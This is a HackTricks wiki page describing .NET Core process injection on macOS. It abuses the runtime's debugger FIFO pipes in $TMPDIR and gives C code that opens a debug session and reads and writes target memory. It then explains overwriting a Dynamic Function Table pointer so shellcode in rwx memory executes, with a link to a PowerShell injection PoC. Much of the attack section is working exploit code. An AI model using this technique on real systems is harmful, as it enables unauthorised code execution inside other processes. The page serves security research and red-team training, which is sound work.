hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-.net-applications-injection.md

12 KiB

macOS .Net Applications Injection

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

.NET Core Debugging

Stablish a debugging session

dbgtransportsession.cpp is responsible for handling debugger to debugee communication.
It creates a 2 of names pipes per .Net process in dbgtransportsession.cpp#L127 by calling twowaypipe.cpp#L27 (one will end in -in and the other in -out and the rest of the name will be the same).

So, if you go to the users $TMPDIR you will be able to find debugging fifos you could use to debug .Net applications:

The function DbgTransportSession::TransportWorker will handle the communication from a debugger.

The first thing a debugger is required to do is to create a new debugging session. This is done by sending a message via the out pipe beginning with a MessageHeader struct, which we can grab from the .NET source:

struct MessageHeader
{
    MessageType   m_eType;        // Type of message this is
    DWORD         m_cbDataBlock;  // Size of data block that immediately follows this header (can be zero)
    DWORD         m_dwId;         // Message ID assigned by the sender of this message
    DWORD         m_dwReplyId;    // Message ID that this is a reply to (used by messages such as MT_GetDCB)
    DWORD         m_dwLastSeenId; // Message ID last seen by sender (receiver can discard up to here from send queue)
    DWORD         m_dwReserved;   // Reserved for future expansion (must be initialized to zero and
                                            // never read)
        union {
            struct {
                DWORD         m_dwMajorVersion;   // Protocol version requested/accepted
                DWORD         m_dwMinorVersion;
            } VersionInfo;
          ...
        } TypeSpecificData;

    BYTE                    m_sMustBeZero[8];
}

In the case of a new session request, this struct is populated as follows:

static const DWORD kCurrentMajorVersion = 2;
static const DWORD kCurrentMinorVersion = 0;

// Set the message type (in this case, we're establishing a session)
sSendHeader.m_eType = MT_SessionRequest;

// Set the version
sSendHeader.TypeSpecificData.VersionInfo.m_dwMajorVersion = kCurrentMajorVersion;
sSendHeader.TypeSpecificData.VersionInfo.m_dwMinorVersion = kCurrentMinorVersion;

// Finally set the number of bytes which follow this header
sSendHeader.m_cbDataBlock = sizeof(SessionRequestData);

Once constructed, we send this over to the target using the write syscall:

write(wr, &sSendHeader, sizeof(MessageHeader));

Following our header, we need to send over a sessionRequestData struct, which contains a GUID to identify our session:

// All '9' is a GUID.. right??
memset(&sDataBlock.m_sSessionID, 9, sizeof(SessionRequestData));

// Send over the session request data
write(wr, &sDataBlock, sizeof(SessionRequestData));

Upon sending over our session request, we read from the out pipe a header that will indicate if our request to establish whether a debugger session has been successful or not:

read(rd, &sReceiveHeader, sizeof(MessageHeader));

Read Memory

With a debugging sessions stablished it's possible to read memory using the message type MT_ReadMemory. To read some memory the main code needed would be:

bool readMemory(void *addr, int len, unsigned char **output) {

    *output = (unsigned char *)malloc(len);
    if (*output == NULL) {
        return false;
    }

    sSendHeader.m_dwId++; // We increment this for each request
    sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId; // This needs to be set to the ID of our previous response
    sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId; // Similar to above, this indicates which ID we are responding to
    sSendHeader.m_eType = MT_ReadMemory; // The type of request we are making
    sSendHeader.TypeSpecificData.MemoryAccess.m_pbLeftSideBuffer = (PBYTE)addr; // Address to read from
    sSendHeader.TypeSpecificData.MemoryAccess.m_cbLeftSideBuffer = len; // Number of bytes to write
    sSendHeader.m_cbDataBlock = 0;

    // Write the header
    if (write(wr, &sSendHeader, sizeof(sSendHeader)) < 0) {
        return false;
    }

    // Read the response header
    if (read(rd, &sReceiveHeader, sizeof(sSendHeader)) < 0) {
        return false;
    }

    // Make sure that memory could be read before we attempt to read further
    if (sReceiveHeader.TypeSpecificData.MemoryAccess.m_hrResult != 0) {
        return false;
    }

    memset(*output, 0, len);
    
    // Read the memory from the debugee
    if (read(rd, *output, sReceiveHeader.m_cbDataBlock) < 0) {
        return false;
    }

    return true;
}

The proof of concept (POC) code found here.

Write memory

bool writeMemory(void *addr, int len, unsigned char *input) {

  sSendHeader.m_dwId++; // We increment this for each request
  sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId; // This needs to be set to the ID of our previous response
  sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId; // Similar to above, this indicates which ID we are responding to
  sSendHeader.m_eType = MT_WriteMemory; // The type of request we are making
  sSendHeader.TypeSpecificData.MemoryAccess.m_pbLeftSideBuffer = (PBYTE)addr; // Address to write to
  sSendHeader.TypeSpecificData.MemoryAccess.m_cbLeftSideBuffer = len; // Number of bytes to write
  sSendHeader.m_cbDataBlock = len;

  // Write the header
  if (write(wr, &sSendHeader, sizeof(sSendHeader)) < 0) {
      return false;
  }

  // Write the data
  if (write(wr, input, len) < 0) {
      return false;
  }

  // Read the response header
  if (read(rd, &sReceiveHeader, sizeof(sSendHeader)) < 0) {
      return false;
  }

  // Ensure our memory write was successful
  if (sReceiveHeader.TypeSpecificData.MemoryAccess.m_hrResult != 0) {
      return false;
  }

  return true;

}

The POC code used to do this can be found here.

.NET Core Code execution

The first thing is to identify for example a memory region with rwx running to save the shellcode to run. This can be easily done with:

vmmap -pages [pid]
vmmap -pages 35829 | grep "rwx/rwx"

Then in order to trigger the execution it would be needed to know some place where a function pointer is stored to overwrite it. It's possible to overwrite a pointer within the Dynamic Function Table (DFT), which is used by the .NET Core runtime to provide helper functions for JIT compilation. A list of supported function pointers can be found within jithelpers.h.

In x64 versions this is straightforward using the mimikatz-esque signature hunting technique to search through libcorclr.dll for a reference to the symbol _hlpDynamicFuncTable, which we can dereference:

All that is left to do is to find an address from which to start our signature search. To do this, we leverage another exposed debugger function, MT_GetDCB. This returns a number of useful bits of information on the target process, but for our case, we are interested in a field returned containing the address of a helper function, m_helperRemoteStartAddr. Using this address, we know just where libcorclr.dll is located within the target process memory and we can start our search for the DFT.

Knowing this address it's possible to overwrite the function pointer with our shellcodes one.

The full POC code used to inject into PowerShell can be found here.

References

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥